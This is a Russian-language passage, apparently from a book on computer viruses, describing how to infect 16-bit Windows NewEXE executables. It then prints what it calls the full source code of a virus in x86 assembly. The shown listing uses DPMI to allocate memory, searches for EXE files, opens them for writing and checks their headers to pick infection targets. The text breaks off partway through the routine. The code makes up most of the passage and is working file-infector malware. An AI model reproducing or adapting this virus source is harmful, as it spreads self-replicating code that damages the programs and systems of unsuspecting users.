Итак, порядок действий:
1. Адрес заголовка NewEXE (DOS_Header+3Ch) уменьшается на 8.
2. Заголовок NewEXE сдвигается на 8 байт назад.
3. В таблицу сегментов добавляется новый элемент, описывающий сегмент вируса.
4. CS: IP NewEXE изменяется на начало вирусного кода, само тело вируса дописывается в конец файла.
Для загрузки в память (надо перехватить вектор INT 21 h из-под Windows) необходимо использовать функции DPMI (INT 31h). Действия: выделение сегмента, изменение его прав доступа, запись вируса, перехват прерывания 21h (делается с помощью функций DPMI).
В качестве примера приведен полный исходный текст вируса под Windows. Принципы заражения такие же, как и при заражении обычного EXE-файла, – изменяется структура EXE-файла и среда, в которой он работает.
.286
.MODEL TINY
.CODE
;Сохраним регистры и флаги
pushf
pusha
push ds
push es
;Проверим, доступен ли DPMI. Если доступен,
;продолжаем, если нет – выходим
mov ax,1686h
int 2Fh
or ax,ax
jz dpmi_exist
;Восстановим регистры и флаги
exit:
pop es
pop ds
popa
popf
;Запустим программу−носитель
db 0EAh
relocIP dw 0
relocCS dw 0FFFFh
dpmi_exist:
;Выделим линейный блок памяти, используя DPMI
mov ax,0501h
mov cx,0FFFFh
xor bx,bx
int 31h
;Сохраним индекс и 32−битный линейный адрес
;полученного блока памяти в стеке
push si
push di
push bx
push cx
;Создадим дескриптор в таблице LDT
xor ax,ax
mov cx,1
int 31h
;В поле адреса полученного дескриптора
;установим адрес нужного блока памяти
mov bx,ax
mov ax,7
pop dx
pop cx
int 31h
;В поле предела полученного дескриптора
;установим размер выделенного блока памяти
mov ax,8
mov dx,0FFFFh
xor cx,cx
int 31h
;В поле прав доступа полученного дескриптора установим значение,
;соответствующее сегменту данных, доступному для чтения и записи
mov ax,9
mov cl,11110010b
xor ch,ch
int 31h
;Загрузим селектор в регистр DS. После этого регистр DS будет
;указывать на выделенный блок памяти
mov ds,bx
;Читаем из стека и сохраняем в памяти
;индекс полученного блока памяти
pop [mem_hnd+2]
pop [mem_hnd]
;Получим текущую DTA
mov ah,2Fh
int 21h
mov [DTA],bx
mov [DTA+2],es
;Найдем первый EXE−файл (маска *.EXE)
mov ah,4Eh
xor cx,cx
mov dx,OFFSET wild_exe
push ds
push cs
pop ds
int 21h
pop ds
;Если файл найден, перейдем к заражению, иначе освободим
;выделенную область памяти и запустим программу−носитель
jnc found_exe
;Освободим выделенную область памяти
call free
;Запустим программу−носитель
jmp exit
;Перейдем к следующему файлу – этот не подходит
close_exe:
;Закроем файл
mov ah,3Eh
int 21h
;Найдем следующий файл
mov ah,4Fh
int 21h
;Если файл найден, перейдем к заражению, иначе освободим
;выделенную область памяти и запустим программу−носитель
jnc found_exe
;Освободим выделенную область памяти
call free
;Запустим программу−носитель
jmp exit
;Файл найден, проверим его на пригодность к заражению
found_exe:
;Откроем файл для чтения и записи
push ds
lds dx,DWORD PTR [DTA]
add dx,1Eh
mov ax,3D02h
int 21h
pop ds
;Прочтем старый заголовок
mov dx,OFFSET old_hdr
mov bx,ax
mov cx,40h
mov ah,3Fh
int 21h
;Проверим сигнатуру, это EXE−файл?
cmp WORD PTR [old_hdr],”ZM”
jne close_exe
;Проверим смещение таблицы настройки адресов.
;Если значение больше 40h, то это не обычный EXE−файл.
;Не будем сразу делать вывод,
;что это NewEXE, потому что это может оказаться
;PE−, LE−, LX−executable или другой
;(PE−executable описан в разделе,
;посвященном Windows 95, остальные
;типы EXE−файлов в этой книге не рассматриваются)
cmp [old_hdr+18h],WORD PTR 40h
jb close_exe
;Перейдем ко второму заголовку (может быть, это NewEXE?):
;Переводим указатель к смещению, обозначенному в поле 3Ch
mov dx,WORD PTR [old_hdr+3Ch]
mov cx,WORD PTR [old_hdr+3Eh]
mov ax,4200h
int 21h
;Прочитаем второй заголовок
mov dx,OFFSET new_hdr
mov cx,40h
mov ah,3fh
int 21h
;Проверим сигнатуру, если сигнатура ”NE”, то это NewEXE−файл
cmp WORD PTR [new_hdr],”EN”
jne close_exe
;Проверим, для Windows ли предназначен этот файл. Если да, будем
;заражать, иначе переходим к следующему файлу
mov al,[new_hdr+36h]
and al,2
jz close_exe
;Переместим указатель чтения/записи в таблицу сегментов,
;к элементу, обозначающему сегмент точки старта программы.
;Для этого прочтем значение регистра CS при запуске
;этого EXE−файла
mov dx,WORD PTR [new_hdr+16h]
;По номеру сегмента вычислим положение соответствующего ему
;элемента в таблице сегментов
dec dx
shl dx,3
;К результату прибавим смещение таблицы сегментов и смещение
;заголовка NewEXE
add dx,WORD PTR [new_hdr+22h]
add dx,WORD PTR [old_hdr+3ch]
mov cx,WORD PTR [old_hdr+3eh]
;Переместим указатель чтения/записи
mov ax,4200h
int 21h
;Прочтем из таблицы сегментов смещение логического сектора
mov dx,OFFSET temp
mov cx,2
mov ah,3Fh